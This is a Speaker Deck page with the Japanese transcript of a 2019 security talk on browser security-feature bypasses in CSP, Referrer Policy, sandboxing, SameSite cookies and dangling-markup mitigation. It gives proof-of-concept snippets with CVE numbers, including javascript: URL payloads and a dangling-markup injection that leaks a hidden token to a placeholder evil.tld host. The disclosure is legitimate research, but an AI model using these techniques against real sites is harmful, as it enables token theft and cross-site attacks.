Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ブラウザセキュリティ機能は バイパスされる為にある
Search
Jun Kokatsu
May 16, 2019
Research
8
3.7k
ブラウザセキュリティ機能は バイパスされる為にある
Shibuya.XSS techtalk #11で話したスライド
色んなブラウザセキュリティ機能をバイパスしていきます
Jun Kokatsu
May 16, 2019
Tweet
Share
More Decks by Jun Kokatsu
See All by Jun Kokatsu
Same-Origin Cross-Context Scripting
shhnjk
0
800
The world of Site Isolation and compromised renderer
shhnjk
1
2.5k
Site Isolationの話
shhnjk
5
1.8k
Logically Bypassing Browser Security Boundaries
shhnjk
5
3.1k
Other Decks in Research
See All in Research
Weekly AI Agents News! 7月号 プロダクト/ニュースのアーカイブ
masatoto
0
150
20240710_熊本県議会・熊本市議会_都市交通勉強会
trafficbrain
0
780
第79回 産総研人工知能セミナー 発表資料
agiats
1
130
TransformerによるBEV Perception
hf149
1
380
研究の進め方 ランダムネスとの付き合い方について
joisino
PRO
54
19k
marukotenant01/tenant-20240916
marketing2024
0
410
Language is primarily a tool for communication rather than thought
ryou0634
4
720
MIRU2024_招待講演_RALF_in_CVPR2024
udonda
1
330
Introducing Research Units of Matsuo-Iwasawa Laboratory
matsuolab
0
740
Practical The One Person Framework
asonas
1
1.5k
クラウドソーシングによる学習データ作成と品質管理(セキュリティキャンプ2024全国大会D2講義資料)
takumi1001
0
260
テキストマイニングことはじめー基本的な考え方からメディアディスコース研究への応用まで
langstat
1
120
Featured
See All Featured
A Tale of Four Properties
chriscoyier
156
23k
Keith and Marios Guide to Fast Websites
keithpitt
408
22k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
28
9.1k
Code Review Best Practice
trishagee
64
17k
How STYLIGHT went responsive
nonsquared
95
5.2k
Mobile First: as difficult as doing things right
swwweet
222
8.9k
Designing the Hi-DPI Web
ddemaree
280
34k
Making the Leap to Tech Lead
cromwellryan
133
8.9k
Fireside Chat
paigeccino
32
3k
Building Applications with DynamoDB
mza
90
6.1k
We Have a Design System, Now What?
morganepeng
50
7.2k
The Language of Interfaces
destraynor
154
24k
Transcript
ブラウザセキュリティ機能は バイパスされる為にある 小勝純 @shhnjk
Agenda <script>time_remaining = true;</script> while(time_remaining) { • 機能説明 • バイパス
}
*-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある
*-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある オリジンが継承される所とは: • Blob URL •
Javascript URL • about:blank • iframe srcdoc など
Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’;
Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’; 正しいNonceが指定されたスクリプトのみ許可 Content-Security-Policy:
script-src ‘nonce-ramdom’; <script nonce=”random”>alert(1) // allowed</script> <script nonce=”guess”>alert(1) // blocked</script>
CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1))
CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1)) 以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来た https://victim.tld/vulnerable_endpoint.html#javascript:alert(1) CVE-2018-4118
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”)
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”);
location.href=”//victim.tld/robots.txt”
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld https://victim.tld#javascript:alert(1) button.onclick =
() => { window.open(location.hash.slice(1), ”new”); } window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://victim.tld/robots.txt https://victim.tld#javascript:alert(1) button.onclick =
() => { window.open(location.hash.slice(1), ”new”); } https://victim.tld/robots.txtにCSPが設定されて いない場合はChromeとSafariでバイパスが可能 だった CVE-2017-15387: $1000 each No CSP
Referrer Policyとは Referrerをどんな場合に送るかを指定出来るセキュリティ機能 Referrerを常に送信しない Referrer-Policy: no-referrer 同一オリジンへのリクエストに対してのみ Referrerを送る Referrer-Policy: same-origin
Referrer Policyのバイパス about:blankベージを開いてもChromeではReferrer Policyが継承されていなかった Referrer-Policy: no-referrer w = window.open("about:blank"); w.document.write("<img
src=https://evil.tld>"); CVE-2018-6048: $500
CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>
CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>
allow-same-originが指定されない限りサンドボックス内のオリジンは Opaque オリジンとなる オリジンが変わってもURLは変わらない為、色々なバグが発生する
Service WorkerとCSPサンドボックスの問題 Service Workerが登録されたオリジン内のリクエストは Service Workerを 経由する様になる navigator.serviceWorker. register(“sw.js”); fetch(“/”);
self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); })
Service WorkerとCSPサンドボックスの問題 ChromeではCSPサンドボックスされたページからのリクエストも Service Workerを経由して しまっていた為、サンドボックス外のオリジンの情報が取得出来た CVE-2019-5811: $2000 alert(self.origin); //
null fetch(“/”); self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); }) https://victim.tld/sandbox
SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict
SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict Laxはトップレベルナビゲーションのみクロスサイトからでも送られる ※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られない
Set-Cookie: secret=2; SameSite=Lax
SameSite Strictのバイパス rel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、 SameSiteクッキーまでもが送られてしまっていた <a href="https://victim.tld/" rel="noopener" target="_blank">CSRF</a> https://crbug.com/830091: $2000
SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie
クロスサイトから埋め込まれても送られない
SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie
https://evil.tld https://victim.tld secret=Lax https://victim.tld クロスサイトから埋め込まれても送られない トップフレームが同一サイトだと送られていた CVE-2018-18351: $1000
Dangling markup mitigation リソースリクエストの中に\nと<が含まれるものをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5735596811091968 <!-- injecion --> <img
src=’https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> ユーザの関与なしに送られるリクエストのみを対象としている
Dangling markup mitigationのバイパス Data URLをパースする際スペースや改行が消されるので、 Data URL内のimgタグのリク エストには改行が存在しなくなる <!-- injecion
--> <iframe src=’data:text/html,<img src=”https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> https://crbug.com/749852 : $500
クロスオリジン<a download>の無効化 クロスオリジンなダウンロードを無効化しナビゲーションに変更する Chromeの セキュリティ機能 https://www.chromestatus.com/feature/4969697975992320 <a href=”https://victim.tld” download>Navigate instead
of download</a> クロスオリジンな強制ダウンロードは悪用されたこともあった https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf
クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複
クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複
一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーション に変更する為、様々なバグを生み出してくれる
クロスオリジンframebustingのブロック ユーザの関与がないクロスオリジンな framebustingをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5851021045661696 https://victim.tld https://evil.tld top.location.href = “phish”;
クロスオリジンframebustingのブロックのバイパス ダウンロードリクエストがリダイレクトしナビゲーションに変わる際、 どのフレームがリクエストを開始したかの情報が伝わっておらず、 条件なしでトップフレームがナビゲートされてしまっていた https://victim.tld https://evil.tld <a href=”redirect?url=//phish.tld” id=”link” download>go</a>
link.click(); CVE-2019-5822: $500
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい • 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある
Import Mapsで何をバイパスできるか考えてみよう <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "std:kv-storage",
"/path/to/kv-storage-polyfill.mjs" ] }} </script> <script type="module"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; </script> https://developers.google.com/web/updates/2019/03/kv-storage#import_maps 今日紹介したセキュリティ機能の何かがバイパス 出来ます!考えてみましょう! ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は 次のスクリプトを読み込んでくれるマップ
CSPのバイパス3 Content-Security-Policy: script-src: ‘nonce-random’; <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs":
[ "data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)}; export {storage};" ] }}</script> <script type="module" nonce="random"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; storage.set('test', '1'); // alert(1) </script> Nonceを指定しなくてもマップを作れてしまう https://crbug.com/941340: $1000 アイディアが浮かんだ方はみんな正解!
Questions? https://victim.tld/agenda.html?fake_xss=<script>time_remaining = true;</script> <script>time_remaining = true;</script> while(time_remaining) { •
機能説明 • バイパス } The XSS Auditor refused to execute a script Uncaught ReferenceError: time_remaining is not defined